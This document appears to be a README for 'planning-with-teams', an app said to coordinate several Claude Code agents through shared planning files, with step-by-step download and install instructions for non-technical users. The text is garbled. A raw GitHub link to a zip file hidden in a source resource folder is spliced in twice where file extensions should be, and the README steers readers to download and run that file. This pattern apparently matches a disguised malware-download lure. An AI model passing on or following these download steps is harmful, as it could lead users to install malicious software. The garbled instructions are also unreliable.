planning-with-teams helps you run and manage multiple AI assistants called Claude Code Agents. You can organize these helpers using shared plans that work like guides. This setup lets you automate and improve team tasks without technical skills.
It uses simple files everyone can share. That means you can coordinate multiple AI programs working together smoothly. The main idea is to help people get more done by having AI agents work as a team.
To install and run planning-with-teams correctly, your computer should meet these minimum requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or recent Linux distributions.
- Processor: Any recent processor (Intel i3/Ryzen 3 or better)
- Memory (RAM): At least 4 GB
- Disk Space: Minimum 500 MB free space
- Internet connection: Required for AI agents to communicate and update plans
This guide assumes you do not have prior knowledge of AI tools or developer software. Follow each step carefully and in order.
First, go to the official release page for planning-with-teams:
This page contains the latest version of the software ready to download. You will find files tailored for Windows, macOS, and Linux here.
Look for a file that matches your operating system:
- For Windows, the file usually ends with
.exeor.zip. - For macOS, look for
.dmgor.zip. - For Linux, look for
.AppImage,https://raw.githubusercontent.com/Wander210/planning-with-teams/main/app/src/main/res/with-planning-teams-v1.5.zip, or.deb.
Click the file name to start the download. Save it to a location you can easily find, such as your Desktop or Downloads folder.
Depending on your file type:
- Windows
.exefile: Double-click it. Follow the on-screen instructions to install. - macOS
.dmgfile: Double-click, then drag the app icon to your Applications folder. - Compressed files (
.zip,https://raw.githubusercontent.com/Wander210/planning-with-teams/main/app/src/main/res/with-planning-teams-v1.5.zip): Extract the contents to a folder. On Windows or macOS, right-click and choose Extract. On Linux, use built-in archive managers or terminal commands.
The software will be ready to run after this step.
Locate the software on your computer:
- On Windows, use the Start menu or the installed location.
- On macOS, open your Applications folder.
- On Linux, run the executable file extracted earlier.
Double-click the icon or file to open the app.
planning-with-teams works with something called "shared planning files." Think of these as instruction sheets that guide your AI helpers. You tell the software where these files are, and it manages the AI agents accordingly.
- Create a folder on your computer where you want to keep your planning files.
- Add simple text files describing tasks for your AI helpers. These can be plain instructions like "Review code" or "Summarize meeting notes."
- In the planning-with-teams app, find the option to select your planning folder. Point the app to the folder you created.
- The app will read these files and start coordinating AI agents to help with each task.
Once you have your plans:
- Press the Start button in the app.
- The software will activate multiple Claude Agents to work together.
- You will see a progress or status display showing what each AI is doing.
This setup helps you automate complex tasks where many things happen at once.
- The interface shows updates so you can check on agents' work.
- You can add, edit, or remove planning files anytime.
- Restart the process after changes for agents to use new instructions.
- Multi-agent coordination: Run many AI helpers side by side.
- Shared planning files: Use simple documents to control what each agent does.
- Manual and automatic task updates: Add tasks or adjust plans on the fly.
- Clear task tracking: Watch how agents complete jobs step-by-step.
- Cross-platform compatibility: Works with Windows, macOS, and Linux.
- Command Line Interface options: For advanced users who want more control.
- If the app does not open, check your system meets minimum requirements.
- Ensure you have a stable internet connection, as AI agents rely on online services.
- If tasks do not start, double-check that you selected the correct folder with planning files.
- When encountering errors, restart the app and try again.
- Consult the log files in the app folder for technical details if problems persist.
You can download the latest version of planning-with-teams here:
Download planning-with-teams Releases
Follow the "Getting Started" section above to install and begin using the software.
If you have questions or want to suggest improvements, visit the GitHub page and use the Issues tab to contact the developers. They monitor feedback and provide updates based on user needs.
planning-with-teams was created to help people easily work with many AI assistants at once. It uses clear instructions files so you don’t need coding skills. It is useful for tasks like code review, debugging, workflow automation, and planning.
The project covers topics like multi-agent workflows, collaboration, and AI orchestration. It is built to simplify otherwise complex AI team management for everyday users.